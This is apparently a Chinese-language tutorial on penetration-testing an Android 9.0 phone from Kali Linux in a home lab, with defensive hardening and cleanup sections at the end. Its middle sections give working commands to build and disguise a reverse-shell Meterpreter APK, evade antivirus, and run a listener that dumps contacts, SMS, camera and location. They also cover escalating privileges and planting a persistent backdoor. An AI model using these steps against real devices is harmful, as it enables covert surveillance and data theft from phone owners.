Kali Linux渗透测试Android 9.0实战:从信息搜集到权限维持

📅 2026/6/17 15:30:29
Kali Linux渗透测试Android 9.0实战:从信息搜集到权限维持
1. 项目概述与核心目标最近在整理自己的渗透测试笔记翻到了一个挺有意思的老项目用Kali Linux对一台Android 9.0的手机进行安全测试。这个项目听起来有点“黑客范儿”但本质上是一次完全可控、用于学习和验证移动设备安全性的内部演练。很多刚接触安全的朋友对“攻击”这个词可能既好奇又有点畏惧其实在授权的、隔离的环境下进行这类测试是理解移动端威胁模型、加固自身应用和设备最有效的方法之一。这次测试的目标很明确在不接触手机物理设备的前提下通过网络尝试发现并利用Android 9.0系统或其上某个特定应用的潜在漏洞最终获取一定的访问权限或敏感数据从而验证其安全防护的有效性。整个过程就像给你的手机做一次“安全体检”只不过体检的“医生”是你自己用的“仪器”是Kali这套专业的工具集。适合谁来参考这篇内容呢如果你是对网络安全、渗透测试感兴趣的开发者、运维人员或安全爱好者手头有一台闲置的安卓手机强烈建议用旧手机或模拟器并且想在可控的环境下了解针对移动设备的常见攻击手法那么这篇基于实战的流程拆解会非常对路。我会尽量把原理讲透把步骤拆细让你不仅能跟着做一遍更能明白每一步背后的“为什么”。整个实验的核心思路是模拟一个攻击者可能从外部网络发起的攻击链从信息搜集开始到漏洞利用尝试再到权限维持我们会使用Kali中集成的经典工具来完成。2. 测试环境搭建与关键配置工欲善其事必先利其器。一个稳定、隔离的测试环境是安全实验的基石能确保你的操作不会意外影响到其他设备或网络。2.1 实验环境拓扑与设备选型我采用的是一套经典的虚拟化加真实设备的混合环境这样既能保证工具的完整性又能获得真实的测试反馈。攻击机AttackerVMware Workstation Pro上运行的Kali Linux 2023.4虚拟机。分配了4GB内存和2个CPU核心这足以流畅运行Metasploit等重型工具。虚拟机的网络模式设置为“桥接模式Bridged”。这一点至关重要桥接模式会让Kali虚拟机从你的家庭路由器获取一个独立的IP地址例如192.168.1.105使其与待测手机处于同一个局域网网段模拟了攻击者接入同一Wi-Fi的场景。靶机Target一台实际刷入了原生Android 9.0Pie系统的旧手机型号是小米6。选择Android 9.0是因为它仍然有相当的市场存量且其安全机制如SELinux强化、Scoped Storage引入具有代表性。绝对不要使用你的日常主力机进行测试我强烈建议使用专门的测试机或者在电脑上运行Android Studio的模拟器选择API 28的镜像。模拟器虽然在某些底层攻击上有限制但对于网络渗透和应用层测试完全够用且更安全、便捷。网络环境一个独立的家庭Wi-Fi网络。确保你的Kali虚拟机和安卓手机都连接到了同一个无线网络下。最好在路由器后台暂时关闭客户端隔离功能如果支持并确保防火墙没有设置特殊的规则阻挡局域网内设备互访。注意整个实验必须在你自己完全掌控的、与互联网隔离或严格控制的网络中进行。切勿在任何公共网络或他人的网络环境下进行此类操作这既是法律和道德的要求也是保护你自己的必要措施。2.2 Kali Linux 基础配置与工具准备Kali系统安装完成后有几项基础配置需要优先处理这能极大提升后续操作的效率。更新软件源与系统首次启动建议先更换为国内的软件源以加速下载。编辑源列表文件sudo vim /etc/apt/sources.list注释掉官方源添加例如阿里云或中科大的镜像源。然后执行sudo apt update sudo apt full-upgrade -y进行系统更新。这能确保所有工具都是最新版本修复了已知漏洞。安装并配置Metasploit FrameworkMetasploit是本次测试的核心武器库。Kali通常预装了它但我们需要初始化数据库sudo msfdb init sudo msfdb start。然后通过sudo systemctl enable postgresql设置PostgreSQL数据库开机自启。启动Metasploit控制台使用msfconsole命令首次启动会稍慢因为它要连接数据库。安装辅助工具我们可能还会用到Nmap进行端口扫描用netdiscover或arp-scan进行存活主机发现。这些工具Kali基本都已预装可以通过apt install nmap arp-scan来确认或安装。配置网络与防火墙确保Kali的防火墙默认是ufw没有阻止我们的探测流量。可以暂时禁用或配置规则sudo ufw disable实验后请记得重新启用。使用ip addr show或ifconfig命令查看并确认Kali获取到的IP地址如192.168.1.105。2.3 Android 靶机环境准备为了让测试有意义我们需要对安卓手机进行一些特殊配置以开启一些在真实攻击中可能被利用但在默认安全配置下被关闭的服务或设置。开启开发者选项与USB调试进入手机“设置”-“关于手机”连续点击“版本号”7次激活开发者选项。返回设置进入“系统”-“高级”-“开发者选项”开启“USB调试”。这是通过ADBAndroid Debug Bridge连接手机的基础。配置网络调试关键步骤我们的攻击通过网络进行因此需要让手机的ADB监听网络端口。在开发者选项中找到并开启“通过网络调试”或“无线调试”选项不同ROM名称可能不同。更通用的一种方法是先用USB线将手机连接至电脑在电脑命令行执行adb tcpip 5555。这条命令会重启ADB守护进程并使其监听TCP 5555端口。然后拔掉USB线在手机上查看Wi-Fi连接的IP地址例如192.168.1.100。现在你就可以在Kali上通过adb connect 192.168.1.100:5555来无线连接手机了。安装存在漏洞的测试应用为了演示漏洞利用我们可以在手机上安装一个已知存在漏洞的安卓应用。Metasploit内置了一个用于测试的APK——msfvenom可以生成但我们这里为了更贴近真实学习可以选择安装一些开源的安全测试靶场应用比如 “Damn Vulnerable Bank” 或 “InsecureBankv2”。你可以从GitHub下载它们的APK文件然后通过adb install InsecureBankv2.apk命令安装到手机。降低安全防护仅限测试环境在开发者选项中你可能还需要临时关闭“监控ADB安装应用”的选项并确保手机没有设置锁屏密码或使用简单密码以避免在生成Payload时遇到障碍。切记这些操作会显著降低手机安全性仅在测试机上执行。3. 信息搜集与目标侦查在发动任何“攻击”之前充分的侦查是成功的一半。这一阶段的目标是尽可能多地收集关于目标手机的信息包括其IP地址、开放端口、运行的服务乃至可能存在的脆弱应用。3.1 网络发现与存活主机识别首先我们需要在局域网中找到我们的目标手机。最直接的方法是使用ARP扫描。使用arp-scan发现设备在Kali终端中运行sudo arp-scan -l。这个命令会向本地网络发送ARP请求并列出所有响应的设备及其IP和MAC地址。在输出列表中寻找设备制造商信息包含“Xiaomi”、“Samsung”或“Android”字样的条目记下其IP地址例如192.168.1.100。MAC地址的前几位OUI也能帮助识别厂商。使用nmap进行Ping扫描如果你知道局域网的网段也可以使用Nmapnmap -sn 192.168.1.0/24。-sn参数表示只进行Ping扫描主机发现不扫描端口。从结果中识别出你的手机设备。3.2 端口扫描与服务探测确定目标IP后下一步是探测它开放了哪些“门”端口以及这些门后运行着什么服务。快速端口扫描执行nmap -sS -T4 192.168.1.100。-sS是TCP SYN半开放扫描速度较快且相对隐蔽-T4指定了扫描速度。一个配置得当的个人手机默认情况下应该只开放极少数端口甚至全部关闭。但如果开发者选项中的网络调试已开启你可能会看到5555端口ADB是开放的。然而在Android 9及以上版本ADB的网络调试默认有更严格的限制直接扫描可能看不到。全面服务版本探测如果发现了开放端口进行深度探测nmap -sV -sC -p 端口号 192.168.1.100。-sV尝试识别服务版本-sC运行默认的Nmap脚本进行更深入的检查。例如如果5555端口开放且运行着ADB-sV可能会告诉你ADB的版本号。了解服务版本对于寻找对应的漏洞至关重要。3.3 Android设备信息深度收集通过网络扫描获得的信息有限如果我们已经通过adb connect成功连接了手机就可以利用ADB命令收集更丰富的信息这模拟了攻击者在已经拥有某种初始访问权限后的信息搜集。获取系统属性adb shell getprop这个命令会输出一长串系统属性其中包含极其宝贵的信息例如ro.build.version.release: Android系统版本如9。ro.build.version.sdk: API级别如28。ro.product.model: 设备型号。ro.debuggable: 如果值为1表示系统可调试安全风险更高。ro.secure: 如果值为0表示系统处于非安全状态。列出已安装应用adb shell pm list packages列出所有包名。可以配合-f显示关联APK文件或用-3只列出第三方应用。寻找那些已知存在漏洞的旧版本应用或者权限请求过多的应用。检查网络连接adb shell netstat -tunlp可以查看手机内部的网络连接情况有时能发现从外部扫描不到的后台服务端口。实操心得信息搜集阶段一定要耐心和细致。很多时候突破口就藏在某条不起眼的系统属性或一个非必要的开放端口中。用文档记录下所有发现的信息这对后续的漏洞关联和利用路径规划非常有帮助。另外ADB连接本身如果配置不当如允许从任意网络连接就是一个严重的安全风险这也是我们测试的一个切入点。4. 漏洞利用与权限获取实战在完成侦查后我们进入了核心环节尝试利用发现的弱点来获取更高的访问权限。这里我们将演示两种经典路径一种是通过社会工程学诱导安装恶意应用另一种是直接攻击开放的不安全服务。4.1 生成Android木马Payload这是模拟最常见的一种攻击场景攻击者构造一个恶意应用Payload诱骗目标用户安装。使用Msfvenom生成APKMsfvenom是Metasploit的Payload生成器功能强大。我们打开Kali终端输入以下命令msfvenom -p android/meterpreter/reverse_tcp LHOST192.168.1.105 LPORT4444 -o malicious_app.apk-p android/meterpreter/reverse_tcp: 指定Payload类型为Android平台的Meterpreter反向TCP连接。Meterpreter是一个高级的、动态可扩展的Payload提供交互式shell。LHOST192.168.1.105: 设置监听主机的IP地址即你的Kali机器的IP。LPORT4444: 设置监听端口。-o malicious_app.apk: 指定输出文件名为malicious_app.apk。 执行后一个包含后门的APK文件就生成了。这个APK本身没有界面安装后会在后台运行并尝试连接我们的Kali。Payload的伪装与免杀直接生成的APK很容易被安全软件识别。在真实测试或更深入的研究中你可以使用-x参数指定一个正常的APK模板如一个小游戏将Payload注入其中。命令如msfvenom -x legit_app.apk -p android/meterpreter/reverse_tcp LHOST... LPORT... -o trojaned_app.apk。但这涉及签名问题需要更多步骤处理如使用keytool和jarsigner重新签名。对于初学者我们先使用基础版本理解原理。安装Payload到靶机将生成的malicious_app.apk传输到手机。可以通过搭建一个简单的HTTP服务器在Kali上进入APK所在目录运行python3 -m http.server 8080。然后在手机浏览器访问http://192.168.1.105:8080/malicious_app.apk下载并安装。安装前需要先在手机设置中允许“安装未知来源的应用”。4.2 建立监听与获取Meterpreter会话在诱使用户安装或我们自己手动在测试机上安装APK之前我们需要先在Kali上启动监听器等待手机连接回来。启动Metasploit并配置监听在终端输入msfconsole进入Metasploit框架。依次执行以下命令use exploit/multi/handler # 使用通用的Payload处理器 set payload android/meterpreter/reverse_tcp # 设置Payload类型必须与生成时一致 set LHOST 192.168.1.105 # 设置监听IP set LPORT 4444 # 设置监听端口 exploit # 或者 run开始监听你会看到提示[*] Started reverse TCP handler on 192.168.1.105:4444表示监听器已就绪。触发连接与会话建立在手机上安装并运行我们生成的恶意APK它可能没有图标但进程已在后台运行。稍等片刻如果网络连通且Payload成功执行你会在Metasploit的界面看到类似[*] Sending stage (xxxxx bytes) to 192.168.1.100和[*] Meterpreter session 1 opened (192.168.1.105:4444 - 192.168.1.100:xxxxx)的提示。这意味着你已成功建立了一个Meterpreter会话交互与会话管理出现meterpreter 提示符后你就可以输入各种命令来控制手机了。输入help可以查看所有可用命令。常用命令包括sysinfo: 查看手机系统信息。webcam_list/webcam_snap: 列出摄像头或拍照需要相应权限。dump_contacts/dump_sms: 导出通讯录和短信需要权限。geolocate: 获取粗略地理位置。upload/download: 上传下载文件。shell: 进入一个标准的Android shell可以执行更多的系统命令。4.3 利用ADB未授权访问漏洞如果存在另一种攻击路径是针对暴露在网络的ADB服务。如果手机配置错误导致ADB服务端口5555允许未经认证的连接那么攻击者可以直接获得一个高权限的shell。检测与连接在Nmap扫描中确认5555端口开放且服务为ADB后可以直接使用ADB命令连接adb connect 192.168.1.100:5555。如果连接成功会显示connected to 192.168.1.100:5555。获取Shell权限连接成功后执行adb shell。如果手机是userdebug构建版本或ro.secure0你可能会直接获得root权限的shell提示符为#。如果是普通用户构建获得的是shell用户权限提示符为$权限相对较低但依然可以执行很多操作。权限提升尝试在shell用户下可以尝试寻找提权机会。例如检查是否有SU二进制文件which su或ls /system/xbin/su。查找具有SUID权限的可执行文件find / -perm -4000 -type f 2/dev/null。检查安装的应用是否有可利用的组件dumpsys package | grep -i exposed。 在Android 9.0及以后由于SELinux和分区保护直接提权到root非常困难但并非不可能这取决于设备制造商的具体实现和是否有未修补的内核漏洞。注意事项Meterpreter会话的稳定性依赖于网络连接。手机息屏、进入深度睡眠或网络切换都可能导致会话中断。可以使用run persistence -h命令查看制作持久化后门的选项但这对测试机操作需格外谨慎。此外通过ADB未授权访问获取的shell其能力高度依赖于手机的系统配置。在零售版的手机上即使ADB开放通常也需要在手机上点击“允许USB调试”的确认框因此这种攻击在现实中多见于内部测试或已取得部分物理访问权限的场景。5. 后渗透行动与权限维持成功获取一个初始的Meterpreter或Shell会话后我们的角色从一个外部攻击者转变为一个已侵入系统的内部威胁。这一阶段的目标是扩大战果、挖掘更深层的数据并尝试在设备上留下“后门”以便即使应用被关闭或重启连接也能恢复。5.1 内部信息深度挖掘在已建立的会话基础上我们可以进行更深入的信息收集这对理解设备价值、寻找更多攻击跳板至关重要。文件系统遍历与敏感文件查找在Meterpreter会话中使用ls、cd、pwd等命令浏览文件系统。重点关注以下目录/sdcard/或/storage/emulated/0/用户存储区可能包含照片、文档、下载文件。/data/data/package_name/各个应用的数据目录可能包含数据库、SharedPreferences等。访问这些目录通常需要root权限。可以使用shell命令进入原生shell后尝试访问。使用search -f *.db -d /data/data命令搜索数据库文件里面可能存有应用的用户数据。应用数据提取如果拥有root权限可以直接备份应用数据。在ADB shell中需root可以使用pm list packages -f找到应用APK路径用cp命令复制。更规范的方法是使用adb backup命令但此功能在较新Android版本上已被限制。密钥与凭证搜寻尝试在/data/misc/keystore/、/data/system/等目录下寻找系统或应用的密钥存储文件。也可以使用grep -r password\|token\|key /data/data/com.example.app 2/dev/null之类的命令在特定应用目录中搜索明文存储的敏感信息。这强烈依赖于应用自身的安全编码水平。5.2 权限提升与持久化驻留初始的Meterpreter会话可能权限有限如shell用户且进程可能被系统清理。我们需要尝试提权和持久化。本地提权漏洞利用在Meterpreter中可以尝试使用getsystem命令但它在Android上通常无效。更实际的方法是在获得的shell中上传一个本地提权漏洞的利用程序。你需要根据之前uname -a获取的内核版本信息去寻找对应的公开漏洞如DirtyCow、CVE-2023-38408等。在Kali上你可以用gcc交叉编译针对ARM架构的漏洞利用代码然后通过Meterpreter的upload功能传到手机的/data/local/tmp目录并赋予执行权限chmod x exploit最后运行它。这是一个高风险操作极易导致测试机系统崩溃请务必谨慎。构建持久化后门为了让我们的访问在设备重启后依然有效可以配置Meterpreter的持久化脚本。在Meterpreter会话中运行run persistence -h查看帮助。一个常见的命令是run persistence -U -i 30 -p 4444 -r 192.168.1.105。-U: 用户登录时自启动。-i 30: 每隔30秒尝试重连。-p和-r: 指定回连的端口和IP。该脚本会在Android系统上创建一个启动脚本或服务定期尝试连接我们的监听器。执行成功后即使原APK被卸载后门可能依然存在取决于安装位置和权限。安装额外攻击模块Meterpreter会话可以动态加载扩展如extapi、priv。输入load后按Tab键可以查看可加载的模块。这些模块可以提供更强大的功能如爬取浏览器历史记录、进行ARP欺骗等。5.3 横向移动与网络侦查在完全控制一台设备后攻击者往往会将其作为跳板攻击同一网络内的其他设备。从手机发起网络扫描在获得的Shell中我们可以安装或使用内置工具进行扫描。如果BusyBox可用可以尝试ping扫描或使用netcat。更简单的方法是在Meterpreter中使用portfwd命令进行端口转发将手机内部对某端口的访问转发到Kali然后在Kali上使用Nmap等强大工具进行扫描。例如portfwd add -l 3389 -p 3389 -r 内部目标IP。嗅探网络流量如果获得了root权限可以在手机上安装tcpdumpadb push tcpdump /data/local/tmp/然后adb shell chmod 755 /data/local/tmp/tcpdump最后运行它抓包。这可以帮助分析同一Wi-Fi下其他设备的通信可能发现明文传输的密码或其他敏感信息。实操心得后渗透阶段是体现技术深度的部分。在Android上由于沙盒和权限模型很多操作会受到限制。成功的关键在于细致的信息收集找到那一个配置错误、脆弱的应用或服务。持久化操作要非常小心不当的脚本可能会导致手机无法正常启动。对于横向移动受限于手机有限的计算资源和工具通常效果不如PC但作为一种可能性必须了解。所有操作都应记录在案测试完成后务必彻底清理测试机卸载恶意应用删除添加的持久化脚本并最好恢复出厂设置。6. 问题排查、防御建议与实验总结在实际操作中你几乎一定会遇到各种问题。同时从防御者的角度思考如何防范此类攻击也同样重要。6.1 常见问题与解决方案速查表问题现象可能原因排查步骤与解决方案adb connect连接被拒绝1. 手机未开启“网络ADB调试”或“无线调试”。2. 防火墙手机或路由器阻止了5555端口。3. ADB守护进程未在指定端口监听。1. 确认开发者选项中相关开关已打开。2. 尝试在手机和Kali之间互相ping检查连通性。3. 使用USB线连接后执行adb tcpip 5555重启ADB守护进程。Nmap扫描不到任何开放端口1. 手机防火墙严格丢弃所有探测包。2. 目标IP地址错误。3. 扫描被安全软件干扰。1. 使用-Pn参数不进行主机发现直接扫描端口。2. 再次确认手机IP地址并使用arp-scan核对。3. 暂时禁用手机上的安全软件仅测试环境。Meterpreter会话建立后立即断开1. Payload与监听器配置不匹配LHOST, LPORT, Payload类型。2. 手机网络不稳定或进入休眠。3. 杀毒软件或系统优化工具清除了后台进程。1. 仔细检查msfvenom生成和msfconsole监听时的所有参数是否一致。2. 保持手机屏幕常亮连接稳定Wi-Fi。3. 尝试对Payload进行混淆或使用更隐蔽的持久化方法。在测试中可先关闭手机的安全扫描功能。生成的APK无法安装1. APK签名问题。2. Android版本不兼容。3. 未允许“安装未知来源应用”。1. 使用jarsigner和zipalign对APK进行重新签名。2. 使用msfvenom时指定--target-api参数匹配目标Android版本。3. 在手机设置中为用于安装的应用如浏览器或文件管理器开启“允许安装未知应用”权限。Shell权限很低很多命令无法执行1. 获得的只是普通shell用户权限非root。2. SELinux策略限制。1. 尝试寻找本地提权漏洞。2. 在Shell中执行id和ls -l /查看权限。专注于当前权限下可访问的文件和信息收集如sdcard目录。run persistence失败1. 没有足够的文件系统写入权限。2. 目标路径只读。1. 先尝试getuid查看当前权限尝试提权。2. 手动寻找可写的持久化目录如/data/local/tmp并编写自己的启动脚本。6.2 从攻击到防御Android安全加固建议通过这次测试我们从攻击者的视角看到了多个入口点。反过来这也是加固Android设备安全的 checklist严格管理开发者选项与ADB非开发需要时永远关闭“开发者选项”。绝不开启“USB调试安全设置”或“网络调试”。如果必须使用ADB仅通过USB连接并在使用后立即关闭。保持系统与应用更新及时安装系统安全补丁更新所有应用到最新版本。许多攻击依赖于已知但未修补的漏洞。谨慎对待应用安装仅从官方应用商店Google Play、厂商商店下载应用。仔细审查应用请求的权限对于不必要的权限请求保持警惕。不安装来源不明的APK文件。使用锁屏与设备加密设置强密码、PIN码或生物识别锁屏。启用设备加密这样即使设备丢失物理提取数据也会非常困难。关注网络权限在非可信网络如公共Wi-Fi中使用VPN来加密流量。定期检查已连接设备列表防止不明设备接入同一网络。最小化暴露面关闭不需要的网络服务如DLNA、SMB。对于旧设备如果不再使用应执行恢复出厂设置并妥善处理。6.3 实验后的清理与反思测试结束后务必进行彻底的清理在Kali上终止Metasploit监听器CtrlC并退出msfconsole。在手机上进入“设置”-“应用”找到并卸载测试安装的所有可疑应用包括Payload应用和测试靶场应用。在开发者选项中关闭“USB调试”、“网络调试”等所有为测试开启的选项。最彻底的方法对测试手机执行一次“恢复出厂设置”。这将清除所有用户数据、后门和配置更改确保环境干净。在Kali虚拟机中可以考虑创建一个快照以便下次测试时能快速回到一个干净的状态。这次从Kali对Android 9.0的测试完整地走了一遍渗透测试的基本流程环境准备、信息搜集、漏洞利用、后渗透和清理。它更像是一个教学蓝本揭示了移动设备可能面临的风险点。真正的安全是一个持续的过程需要攻击者的思维去发现弱点更需要防御者的严谨去修补加固。技术本身没有善恶关键在于使用它的人。希望这次深入的实操解析能让你不仅学会工具的使用更能建立起对移动安全更深层次的理解和敬畏。